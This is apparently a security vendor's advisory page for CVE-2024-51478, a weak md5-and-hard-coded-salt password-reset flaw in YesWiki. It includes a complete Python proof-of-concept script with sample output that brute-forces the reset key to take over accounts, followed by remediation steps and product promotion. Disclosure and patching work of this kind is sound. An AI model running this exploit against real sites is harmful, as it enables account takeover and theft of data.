Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
CRITICAL severity

CVE-2024-51478 yeswiki/yeswiki

CRITICALFix: YesWiki/yeswiki@b5a8f93

CVE-2024-51478 is a critical-severity (CVSS 9.9) Broken Cryptographic Algorithm vulnerability in yeswiki/yeswiki. A fix is available for yeswiki/yeswiki — see the affected versions and patch details below.

Use of a Broken or Risky Cryptographic Algorithm in YesWiki

Also known asGHSA-4fvx-h823-38v3
Published
Oct 31, 2024
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-51478.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2024-51478 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘yeswiki/yeswiki

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details

Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

private const PW_SALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

protected function generateUserLink($user)
{
    // Generate the password recovery key
    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC)

To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser

# Known data
salt = 'FBcA' # Hardcoded salt 
random_range = 10000  # Range for random_int()
WORKERS = 20 # Number of workers

# Arguments
def parseArgs():
    parser = ArgumentParser()
    parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
    parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
    parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
    return parser.parse_args()

# Reset password request and get timestamp  
def reset_password(email: str, domain: str):
    response = post(
        f'{domain}?MotDePassePerdu',
        data={
            'email': email, 
            'subStep': '1'
        },
        headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    )
    if response.ok:
        timestamp = datetime.now() # obtain the timestamp
        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
        print(f"[*] Requesting link for {email} at {timestamp}")
        return timestamp
    else:
        print("[-] Error while resetting password.")
        exit()

# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
    user_base64 = b64encode(username.encode()).decode()
    data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
    hash_candidate = md5(data.encode()).hexdigest()
    url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
    # print(f"[*] Checking {url}")
    response = get(url)
    
    # Check if the link is valid, warning depending on the language
    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
        return (True, random_int_val, hash_candidate, url)
    return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str):
    # Launch the brute-force
    print(f"[*] Starting brute-force, it can take few minutes...")
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
        
        for future in as_completed(futures):
            success, random_int_val, hash_candidate, url = future.result()
            if success:
                print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
                print(f"[+] URL: {url}")
                exit()
        else:
            print("[-] Key not found.")

if __name__ == "__main__":
    args = parseArgs()
    timestamp_req = reset_password(args.email, args.domain)
    main(timestamp_req, args.domain, args.username, args.email)

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

» python3 expoit.py --username 'admin' --email '[email protected]' --domain 'http://localhost/' 
[*] Requesting link for [email protected] at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Impact

Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

Recommendation

The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistyeswiki/yeswikiall versions4.4.5composer require yeswiki/yeswiki:^4.4.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update yeswiki/yeswiki to 4.4.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-51478 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-51478 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-51478. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. ### Details Firstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` : ```php private const PW_SALT = 'FBcA'; ``` Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` : ```php protected function generateUserLink($us
O3 Security · Impact-Aware SCA

Is CVE-2024-51478 in your dependencies?

O3 Security finds CVE-2024-51478 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2024-51478: yeswiki/yeswiki (Critical 9.9) | O3 Security